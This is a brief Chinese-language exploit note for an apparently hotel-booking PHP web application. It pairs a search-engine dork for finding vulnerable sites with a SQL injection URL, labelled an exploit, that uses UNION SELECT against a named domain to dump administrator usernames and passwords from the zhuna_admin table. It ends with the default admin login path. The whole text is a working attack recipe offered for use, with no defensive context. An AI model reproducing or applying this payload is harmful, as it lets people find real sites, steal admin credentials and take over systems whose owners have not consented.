Search：inurl:index.php?m=hotelinfo

注入EXP：
http://yunsec.net/index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password

),3,4,5,6,7,8,9,10%20from%20zhuna_admin

默认后台：index.php?m=admin/login